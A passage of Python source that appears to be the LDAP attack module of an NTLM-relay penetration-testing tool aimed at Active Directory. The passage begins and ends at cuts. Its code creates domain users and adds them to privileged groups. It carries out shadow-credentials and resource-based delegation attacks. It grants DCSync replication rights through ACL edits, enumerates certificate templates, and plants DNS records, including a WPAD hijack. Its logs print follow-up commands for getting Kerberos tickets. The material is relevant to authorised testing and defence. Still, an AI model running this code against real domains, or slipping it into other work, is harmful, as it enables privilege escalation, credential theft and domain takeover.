'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,\n            'distinguishedName': newUserDn,\n            'cn': newUser,\n            'sn': newUser,\n            'givenName': newUser,\n            'displayName': newUser,\n            'name': newUser,\n            'userAccountControl': 512,\n            'accountExpires': '0',\n            'sAMAccountName': newUser,\n            'unicodePwd': '\"{}\"'.format(newPassword).encode('utf-16-le')\n        }\n        LOG.info('Attempting to create user in: %s', parent)\n        res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)\n        if not res:\n            # Adding users requires LDAPS\n            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:\n                LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')\n            else:\n                LOG.error('Failed to add a new user: %s' % str(self.client.result))\n            return False\n        else:\n            LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))\n\n            # Return the DN\n            return newUserDn\n\n    def addUserToGroup(self, userDn, domainDumper, groupDn):\n        global alreadyEscalated\n        # For display only\n        groupName = groupDn.split(',')[0][3:]\n        userName = userDn.split(',')[0][3:]\n        # Now add the user as a member to this group\n        res = self.client.modify(groupDn, {\n            'member': [(ldap3.MODIFY_ADD, [userDn])]})\n        if res:\n            LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))\n            LOG.info('Privilege escalation succesful, shutting down...')\n            alreadyEscalated = True\n            _thread.interrupt_main()\n        else:\n            LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))\n\n\n    def shadowCredentialsAttack(self, domainDumper):\n        currentShadowCredentialsTarget = self.config.ShadowCredentialsTarget\n        # If the target is not specify, we try to modify the user himself\n        if not currentShadowCredentialsTarget:\n            currentShadowCredentialsTarget = self.username\n\n        if currentShadowCredentialsTarget in delegatePerformed:\n            LOG.info('Shadow credentials attack already performed for %s, skipping' % currentShadowCredentialsTarget)\n            return\n\n        LOG.info(\"Searching for the target account\")\n\n        # Get the domain we are in\n        domaindn = domainDumper.root\n        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]\n\n        # Get target computer DN\n        result = self.getUserInfo(domainDumper, currentShadowCredentialsTarget)\n        if not result:\n            LOG.error('Target account does not exist! (wrong domain?)')\n            return\n        else:\n            target_dn = result[0]\n            LOG.info(\"Target user found: %s\" % target_dn)\n\n        LOG.info(\"Generating certificate\")\n        key,certificate = shadow_credentials.createSelfSignedX509Certificate(subject=currentShadowCredentialsTarget)\n        LOG.info(\"Certificate generated\")\n        LOG.info(\"Generating KeyCredential\")\n        keyCredential = shadow_credentials.KeyCredential(key,deviceId=shadow_credentials.getDeviceId(),currentTime=shadow_credentials.getTicksNow())\n        #LOG.info(\"KeyCredential generated with DeviceID: %s\" % keyCredential.DeviceId.toFormatD())\n        #LOG.debug(\"KeyCredential: %s\" % keyCredential.toDNWithBinary().toString())\n        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])\n        results = None\n        for entry in self.client.response:\n            if entry['type'] != 'searchResEntry':\n                continue\n            results = entry\n        if not results:\n            LOG.error('Could not query target user properties')\n            return\n        try:\n            new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential.dumpBinary(), target_dn )]\n            LOG.info(\"Updating the msDS-KeyCredentialLink attribute of %s\" % currentShadowCredentialsTarget)\n            self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})\n            if self.client.result['result'] == 0:\n                LOG.info(\"Updated the msDS-KeyCredentialLink attribute of the target object\")\n                if self.config.ShadowCredentialsOutfilePath is None:\n                    path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))\n                    LOG.debug(\"No outfile path was provided. The certificate(s) will be store with the filename: %s\" % path)\n                else:\n                    path = self.config.ShadowCredentialsOutfilePath\n                if self.config.ShadowCredentialsExportType == \"PEM\":\n                    shadow_credentials.exportPEM(certificate,key,path_to_files=path)\n                    LOG.info(\"Saved PEM certificate at path: %s\" % path + \"_cert.pem\")\n                    LOG.info(\"Saved PEM private key at path: %s\" % path + \"_priv.pem\")\n                    LOG.info(\"A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools\")\n                    LOG.info(\"Run the following command to obtain a TGT\")\n                    LOG.info(\"python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache\" % (path, path, domain, currentShadowCredentialsTarget, path))\n                elif self.config.ShadowCredentialsExportType == \"PFX\":\n                    if self.config.ShadowCredentialsPFXPassword is None:\n                        password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))\n                        LOG.debug(\"No pass was provided. The certificate will be store with the password: %s\" % password)\n                    else:\n                        password = self.config.ShadowCredentialsPFXPassword\n                    shadow_credentials.exportPFX(certificate,key,password=password, path_to_file=path)\n                    LOG.info(\"Saved PFX (#PKCS12) certificate & key at path: %s\" % path + \".pfx\")\n                    LOG.info(\"Must be used with password: %s\" % password)\n                    LOG.info(\"A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools\")\n                    LOG.info(\"Run the following command to obtain a TGT\")\n                    LOG.info(\"python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache\" % (path, password, domain, currentShadowCredentialsTarget, path))\n                    delegatePerformed.append(currentShadowCredentialsTarget)\n            else:\n                if self.client.result['result'] == 50:\n                    LOG.error('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message'])\n                elif self.client.result['result'] == 19:\n                    LOG.error('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message'])\n                else:\n                    LOG.error('The server returned an error: %s' % self.client.result['message'])\n        except IndexError:\n            LOG.info('Attribute msDS-KeyCredentialLink does not exist')\n        return\n\n    def delegateAttack(self, usersam, targetsam, domainDumper, sid):\n        global delegatePerformed\n        if targetsam in delegatePerformed:\n            LOG.info('Delegate attack already performed for this computer, skipping')\n            return\n\n        if not usersam:\n            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)\n            self.config.escalateuser = usersam\n\n        if not sid:\n            # Get escalate user sid\n            result = self.getUserInfo(domainDumper, usersam)\n            if not result:\n                LOG.error('User to escalate does not exist!')\n                return\n            escalate_sid = str(result[1])\n        else:\n            escalate_sid = usersam\n\n        # Get target computer DN\n        result = self.getUserInfo(domainDumper, targetsam)\n        if not result:\n            LOG.error('Computer to modify does not exist! (wrong domain?)')\n            return\n        target_dn = result[0]\n\n        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])\n        targetuser = None\n        for entry in self.client.response:\n            if entry['type'] != 'searchResEntry':\n                continue\n            targetuser = entry\n        if not targetuser:\n            LOG.error('Could not query target user properties')\n            return\n        try:\n            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])\n            LOG.debug('Currently allowed sids:')\n            for ace in sd['Dacl'].aces:\n                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())\n        except IndexError:\n            # Create DACL manually\n            sd = create_empty_sd()\n        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))\n        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})\n        if self.client.result['result'] == 0:\n            LOG.info('Delegation rights modified succesfully!')\n            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)\n            delegatePerformed.append(targetsam)\n        else:\n            if self.client.result['result'] == 50:\n                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                LOG.error('The server returned an error: %s', self.client.result['message'])\n        return\n\n    def aclAttack(self, userDn, domainDumper):\n        global alreadyEscalated\n        if alreadyEscalated:\n            LOG.error('ACL attack already performed. Refusing to continue')\n            return\n\n        # Dictionary for restore data\n        restoredata = {}\n\n        # Query for the sid of our user\n        try:\n            self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])\n            entry = self.client.entries[0]\n        except IndexError:\n            LOG.error('Could not retrieve infos for user: %s' % userDn)\n            return\n        username = entry['sAMAccountName'].value\n        usersid = entry['objectSid'].value\n        LOG.debug('Found sid for user %s: %s' % (username, usersid))\n\n        # Set SD flags to only query for DACL\n        controls = security_descriptor_control(sdflags=0x04)\n        alreadyEscalated = True\n\n        LOG.info('Querying domain security descriptor')\n        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)\n        entry = self.client.entries[0]\n        secDescData = entry['nTSecurityDescriptor'].raw_values[0]\n        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)\n\n        # Save old SD for restore purposes\n        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')\n        restoredata['target_sid'] = usersid\n\n        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))\n        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))\n        dn = entry.entry_dn\n        data = secDesc.getData()\n        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)\n        if self.client.result['result'] == 0:\n            alreadyEscalated = True\n            LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)\n            LOG.info('Try using DCSync with secretsdump.py and this user :)')\n\n            # Query the SD again to see what AD made of it\n            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)\n            entry = self.client.entries[0]\n            newSD = entry['nTSecurityDescriptor'].raw_values[0]\n            # Save this to restore the SD later on\n            restoredata['target_dn'] = dn\n            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')\n            restoredata['success'] = True\n            self.writeRestoreData(restoredata, dn)\n            return True\n        else:\n            LOG.error('Error when updating ACL: %s' % self.client.result)\n            return False\n\n    def writeRestoreData(self, restoredata, domaindn):\n        output = {}\n        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]\n        output['config'] = {'server':self.client.server.host,'domain':domain}\n        output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]\n        now = datetime.datetime.now()\n        filename = 'aclpwn-%s.restore' % now.strftime(\"%Y%m%d-%H%M%S\")\n        # Save the json to file\n        with codecs.open(filename, 'w', 'utf-8') as outfile:\n            json.dump(output, outfile)\n        LOG.info('Saved restore state to %s', filename)\n\n    def validatePrivileges(self, uname, domainDumper):\n        # Find the user's DN\n        membersids = []\n        sidmapping = {}\n        privs = {\n            'create': False, # Whether we can create users\n            'createIn': None, # Where we can create users\n            'escalateViaGroup': False, # Whether we can escalate via a group\n            'escalateGroup': None, # The group we can escalate via\n            'aclEscalate': False, # Whether we can escalate via ACL on the domain object\n            'aclEscalateIn': None # The object which ACL we can edit\n        }\n        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])\n        user = self.client.entries[0]\n        usersid = user['objectSid'].value\n        sidmapping[usersid] = user.entry_dn\n        membersids.append(usersid)\n        # The groups the user is a member of\n        self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])\n        LOG.debug('User is a member of: %s' % self.client.entries)\n        for entry in self.client.entries:\n            sidmapping[entry['objectSid'].value] = entry.entry_dn\n            membersids.append(entry['objectSid'].value)\n        # Also search by primarygroupid\n        # First get domain SID\n        self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])\n        domainsid = self.client.entries[0]['objectSid'].value\n        gid = user['primaryGroupId'].value\n        # Now search for this group by SID\n        self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])\n        group = self.client.entries[0]\n        LOG.debug('User is a member of: %s' % self.client.entries)\n        # Add the group sid of the primary group to the list\n        sidmapping[group['objectSid'].value] = group.entry_dn\n        membersids.append(group['objectSid'].value)\n        controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl\n        # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs\n        entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)\n        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)\n        # Also get the privileges on the default Users container\n        entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)\n        self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)\n\n        # Interesting groups we'd like to be a member of, in order of preference\n        interestingGroups = [\n            '%s-%d' % (domainsid, 519), # Enterprise admins\n            '%s-%d' % (domainsid, 512), # Domain admins\n            'S-1-5-32-544', # Built-in Administrators\n            'S-1-5-32-551', # Backup operators\n            'S-1-5-32-548', # Account operators\n        ]\n        privs['escalateViaGroup'] = False\n        for group in interestingGroups:\n            self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)\n            groupdata = self.client.response\n            self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)\n            if privs['escalateViaGroup']:\n                # We have a result - exit the loop\n                break\n        return (usersid, privs)\n\n    def getUserInfo(self, domainDumper, samname):\n        entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])\n        try:\n            dn = self.client.entries[0].entry_dn\n            sid = self.client.entries[0]['objectSid']\n            return (dn, sid)\n        except IndexError:\n            LOG.error('User not found in LDAP: %s' % samname)\n            return False\n\n    def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):\n        standardrights = [\n            self.GENERIC_ALL,\n            self.GENERIC_WRITE,\n            self.GENERIC_READ,\n            ACCESS_MASK.WRITE_DACL\n        ]\n        for entry in entries:\n            if entry['type'] != 'searchResEntry':\n                continue\n            dn = entry['dn']\n            try:\n                sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]\n            except IndexError:\n                # We don't have the privileges to read this security descriptor\n                LOG.debug('Access to security descriptor was denied for DN %s', dn)\n                continue\n            hasFullControl = False\n            secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()\n            secDesc.fromString(sdData)\n            if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:\n                sid = secDesc['OwnerSid'].formatCanonical()\n                LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))\n                hasFullControl = True\n            # Iterate over all the ACEs\n            for ace in secDesc['Dacl'].aces:\n                sid = ace['Ace']['Sid'].formatCanonical()\n                if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:\n                    continue\n                if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):\n                    # ACE is set on this object, but only inherited, so not applicable to us\n                    continue\n\n                # Check if the ACE has restrictions on object type (inherited case)\n                if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \\\n                    and ace.hasFlag(ACE.INHERITED_ACE) \\\n                    and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):\n                    # Verify if the ACE applies to this object type\n                    inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()\n                    if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):\n                        continue\n                # Check for non-extended rights that may not apply to us\n                if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):\n                    # Check if this applies to our objecttype\n                    if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE  and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):\n                        objectType = bin_to_string(ace['Ace']['ObjectType']).lower()\n                        if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):\n                            # LOG.debug('ACE does not apply, only to %s', objectType)\n                            continue\n                if sid in membersids:\n                    # Generic all\n                    if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):\n                        LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))\n                        hasFullControl = True\n                    if can_create_users(ace) or hasFullControl:\n                        if not hasFullControl:\n                            LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))\n                        if dn == 'CN=Users,%s' % domainDumper.root:\n                            # We can create users in the default container, this is preferred\n                            privs['create'] = True\n                            privs['createIn'] = dn\n                        else:\n                            # Could be a different OU where we have access\n                            # store it until we find a better place\n                            if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:\n                                privs['create'] = True\n                                privs['createIn'] = dn\n                    if can_add_member(ace) or hasFullControl:\n                        if b'group' in entry['raw_attributes']['objectClass']:\n                            # We can add members to a group\n                            if not hasFullControl:\n                                LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))\n                            privs['escalateViaGroup'] = True\n                            privs['escalateGroup'] = dn\n                    if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:\n                        # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to\n                        # a property, which is both weird and useless, so we skip it\n                        if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \\\n                            and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):\n                            # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')\n                            continue\n                        if not hasFullControl:\n                            LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))\n                        # We can modify the domain Dacl\n                        if b'domain' in entry['raw_attributes']['objectClass']:\n                            privs['aclEscalate'] = True\n                            privs['aclEscalateIn'] = dn\n\n    @staticmethod\n    def aceApplies(ace_guid, object_class):\n        '''\n        Checks if an ACE applies to this object (based on object classes).\n        Note that this function assumes you already verified that InheritedObjectType is set (via the flag).\n        If this is not set, the ACE applies to all object types.\n        '''\n        try:\n            our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]\n        except KeyError:\n            return False\n        if ace_guid == our_ace_guid:\n            return True\n        # If none of these match, the ACE does not apply to this object\n        return False\n\n    def dumpADCS(self):\n\n        def is_template_for_authentification(entry):\n            authentication_ekus = [b\"1.3.6.1.5.5.7.3.2\", b\"1.3.6.1.5.2.3.4\", b\"1.3.6.1.4.1.311.20.2.2\", b\"2.5.29.37.0\"]\n\n            # Ignore templates requiring manager approval\n            if entry[\"attributes\"][\"msPKI-Enrollment-Flag\"] & 0x02:\n                return False\n\n            # No EKU = works for client authentication\n            if not len(entry[\"raw_attributes\"][\"pKIExtendedKeyUsage\"]):\n                return True\n\n            try:\n                next((eku for eku in entry[\"raw_attributes\"][\"pKIExtendedKeyUsage\"] if eku in authentication_ekus))\n                return True\n            except StopIteration:\n                return False\n\n        def get_enrollment_principals(entry):\n            # Mostly taken from github.com/ly4k/Certipy/certipy/security.py\n            sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n            sd.fromString(entry[\"raw_attributes\"][\"nTSecurityDescriptor\"][0])\n\n            enrollment_uuids = [\n                \"00000000-0000-0000-0000-000000000000\", # All-Extended-Rights\n                \"0e10c968-78fb-11d2-90d4-00c04f79dc55\", # Certificate-Enrollment\n                \"a05b8cc2-17bc-4802-a710-e7c15ab866a2\", # Certificate-AutoEnrollment\n            ]\n\n            enrollment_principals = set()\n\n            for ace in (a for a in sd[\"Dacl\"][\"Data\"] if a[\"AceType\"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):\n                sid = format_sid(ace[\"Ace\"][\"Sid\"].getData())\n                if ace[\"Ace\"][\"Flags\"] == 2:\n                    uuid = bin_to_string(ace[\"Ace\"][\"InheritedObjectType\"]).lower()\n                elif ace[\"Ace\"][\"Flags\"] == 1:\n                    uuid = bin_to_string(ace[\"Ace\"][\"ObjectType\"]).lower()\n                else:\n                    continue\n\n                if not uuid in enrollment_uuids:\n                    continue\n\n                enrollment_principals.add(sid)\n\n            return enrollment_principals\n\n        def translate_sids(sids):\n            default_naming_context = self.client.server.info.other[\"defaultNamingContext\"][0]\n            try:\n                domain_fqdn = self.client.server.info.other[\"ldapServiceName\"][0].split(\"@\")[1]\n            except (KeyError, IndexError):\n                domain_fqdn = \"\"\n\n            sid_map = dict()\n\n            for sid in sids:\n                try:\n                    if sid.startswith(\"S-1-5-21-\"):\n                        self.client.search(default_naming_context, \"(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))\" % sid,\n                                    attributes=[\"name\", \"objectSid\"], search_scope=ldap3.SUBTREE)\n                    else:\n                        self.client.search(\"CN=WellKnown Security Principals,\" + configuration_naming_context,\n                                    \"(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))\" % sid, attributes=[\"name\", \"objectSid\"],\n                                    search_scope=ldap3.LEVEL)\n                except:\n                    sid_map[sid] = sid\n                    continue\n\n                if not len(self.client.entries):\n                    sid_map[sid] = sid\n                else:\n                    sid_map[sid] = domain_fqdn + \"\\\\\" + self.client.response[0][\"attributes\"][\"name\"]\n\n            return sid_map\n\n\n        LOG.info(\"Attempting to dump ADCS enrollment services info\")\n\n        configuration_naming_context = self.client.server.info.other['configurationNamingContext'][0]\n\n        enrollment_service_attributes = [\"certificateTemplates\", \"displayName\", \"dNSHostName\", \"msPKI-Enrollment-Servers\", \"nTSecurityDescriptor\"]\n        self.client.search(\"CN=Enrollment Services,CN=Public Key Services,CN=Services,\" + configuration_naming_context,\n                           \"(objectClass=pKIEnrollmentService)\", search_scope=ldap3.LEVEL, attributes=enrollment_service_attributes,\n                           controls=security_descriptor_control(sdflags=0x04))\n\n        if not len(self.client.response):\n            LOG.info(\"No ADCS enrollment service found\")\n            return\n\n        offered_templates = set()\n        sid_map = dict()\n        for entry in self.client.response:\n            LOG.info(\"Found ADCS enrollment service `%s` on host `%s`, offering templates: %s\" % (entry[\"attributes\"][\"displayName\"],\n                     entry[\"attributes\"][\"dNSHostName\"], \", \".join((\"`\" + tpl + \"`\" for tpl in entry[\"attributes\"][\"certificateTemplates\"]))))\n\n            offered_templates.update(entry[\"attributes\"][\"certificateTemplates\"])\n            enrollment_principals = get_enrollment_principals(entry)\n\n            known_sids = set(sid_map.keys())\n            unknwown_sids = enrollment_principals.difference(known_sids)\n            sid_map.update(translate_sids(unknwown_sids))\n\n            LOG.info(\"Principals who can enroll on enrollment service `%s`: %s\" % (entry[\"attributes\"][\"displayName\"],\n                     \", \".join((\"`\" + sid_map[principal] + \"`\" for principal in enrollment_principals))))\n\n        if not len(offered_templates):\n            LOG.info(\"No templates offered by the enrollment services\")\n            return\n\n        LOG.info(\"Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval\")\n\n        certificate_template_attributes = [\"msPKI-Enrollment-Flag\", \"name\", \"nTSecurityDescriptor\", \"pKIExtendedKeyUsage\"]\n        self.client.search(\"CN=Certificate Templates,CN=Public Key Services,CN=Services,\" + configuration_naming_context,\n                           \"(&(objectClass=pKICertificateTemplate)(|%s))\" % \"\".join((\"(name=\" + escape_filter_chars(tpl) + \")\" for tpl in offered_templates)),\n                           search_scope=ldap3.LEVEL, attributes=certificate_template_attributes,\n                           controls=security_descriptor_control(sdflags=0x04))\n\n        for entry in (e for e in self.client.response if is_template_for_authentification(e)):\n            enrollment_principals = get_enrollment_principals(entry)\n\n            known_sids = set(sid_map.keys())\n            unknwown_sids = enrollment_principals.difference(known_sids)\n            sid_map.update(translate_sids(unknwown_sids))\n\n            LOG.info(\"Principals who can enroll using template `%s`: %s\" % (entry[\"attributes\"][\"name\"],\n                     \", \".join((\"`\" + sid_map[principal] + \"`\" for principal in enrollment_principals))))\n\n\n    def addDnsRecord(self, name, ipaddr):\n        # https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1\n        def new_dns_namearray(data):\n            index_array = [pos for pos, char in enumerate(data) if char == '.']\n            name_array = bytearray()\n            if len(index_array) > 0:\n                name_start = 0\n                for index in index_array:\n                    name_end = index - name_start\n                    name_array.append(name_end)\n                    name_array.extend(data[name_start:name_end+name_start].encode(\"utf8\"))\n                    name_start = index + 1\n                name_array.append(len(data) - name_start)\n                name_array.extend(data[name_start:].encode(\"utf8\"))\n            else:\n                name_array.append(len(data))\n                name_array.extend(data.encode(\"utf8\"))\n            return name_array\n\n        def new_dns_record(data, type):\n            if type == \"A\":\n                addr_data = data.split('.')\n                dns_type = bytearray((0x1, 0x0))\n                dns_length = int_to_4_bytes(len(addr_data))[0:2]\n                dns_data = bytearray(map(int, addr_data))\n            elif type == \"NS\":\n                dns_type = bytearray((0x2, 0x0))\n                dns_length = int_to_4_bytes(len(data) + 4)[0:2]\n                dns_data = bytearray()\n                dns_data.append(len(data) + 2)\n                dns_data.append(len(data.split(\".\")))\n                dns_data.extend(new_dns_namearray(data))\n                dns_data.append(0)\n            else:\n                return False\n\n            dns_ttl = bytearray(reversed(int_to_4_bytes(60)))\n            dns_record = bytearray(dns_length)\n            dns_record.extend(dns_type)\n            dns_record.extend(bytearray((0x05, 0xF0, 0x00, 0x00)))\n            dns_record.extend(int_to_4_bytes(get_next_serial_p()))\n            dns_record.extend(dns_ttl)\n            dns_record.extend((0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00))\n            dns_record.extend(dns_data)\n            return dns_record\n\n        def int_to_4_bytes(num):\n            arr = bytearray()\n            for i in range(4):\n                arr.append(num & 0xff)\n                num >>= 8\n            return arr\n\n        # https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py\n        def get_next_serial(server, zone):\n            dnsresolver = dns.resolver.Resolver()\n            dnsresolver.nameservers = [server]\n            res = dnsresolver.resolve(zone, 'SOA',tcp=True)\n            for answer in res:\n                return answer.serial + 1\n\n        try:\n            dns_naming_context = next((nc for nc in self.client.server.info.naming_contexts if \"domaindnszones\" in nc.lower()))\n        except StopIteration:\n            LOG.error('Could not find DNS naming context, aborting')\n            return\n\n        domaindn = self.client.server.info.other['defaultNamingContext'][0]\n        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]\n        dns_base_dn = 'DC=%s,CN=MicrosoftDNS,%s' % (domain, dns_naming_context)\n\n        get_next_serial_p = partial(get_next_serial, self.client.server.address_info[0][4][0], domain)\n\n        LOG.info('Checking if domain already has a `%s` DNS record' % name)\n        if self.client.search(dns_base_dn, '(name=%s)' % escape_filter_chars(name), search_scope=ldap3.LEVEL):\n            LOG.error('Domain already has a `%s` DNS record, aborting' % name)\n            return\n\n        LOG.info('Domain does not have a `%s` record!' % name)\n\n        ACL_ALLOW_EVERYONE_EVERYTHING = b'\\x01\\x00\\x04\\x9c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x02\\x000\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\xff\\x01\\x0f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x14\\x00\\x00\\x00\\x00\\x10\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n\n        a_record_name = name\n        is_name_wpad = (a_record_name.lower() == 'wpad')\n\n        if is_name_wpad:\n            LOG.info('To add the `wpad` name, we need to bypass the GQBL: we\\'ll first add a random `A` name and then add `wpad` as `NS` pointing to that name')\n            a_record_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(12))\n\n        # First add an A record pointing to the provided IP\n        a_record_dn = 'DC=%s,%s' % (a_record_name, dns_base_dn)\n        a_record_data = {\n            'dnsRecord': new_dns_record(ipaddr, \"A\"),\n            'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0],\n            'dNSTombstoned': False,\n            'name': a_record_name,\n            'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING,\n        }\n\n        LOG.info('Adding `A` record `%s` pointing to `%s` at `%s`' % (a_record_name, ipaddr, a_record_dn))\n        if not self.client.add(a_record_dn, ['top', 'dnsNode'], a_record_data):\n            LOG.error('Failed to add `A` record: %s' % str(self.client.result))\n            return\n\n        LOG.info('Added `A` record `%s`. DON\\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % a_record_name)\n\n        if not is_name_wpad:\n            return\n\n        # Then add the wpad NS record\n        ns_record_name = 'wpad'\n        ns_record_dn = 'DC=%s,%s' % (ns_record_name, dns_base_dn)\n        ns_record_value = a_record_name + \".\" + domain\n        ns_record_data = {\n            'dnsRecord': new_dns_record(ns_record_value, \"NS\"),\n            'objectCategory': 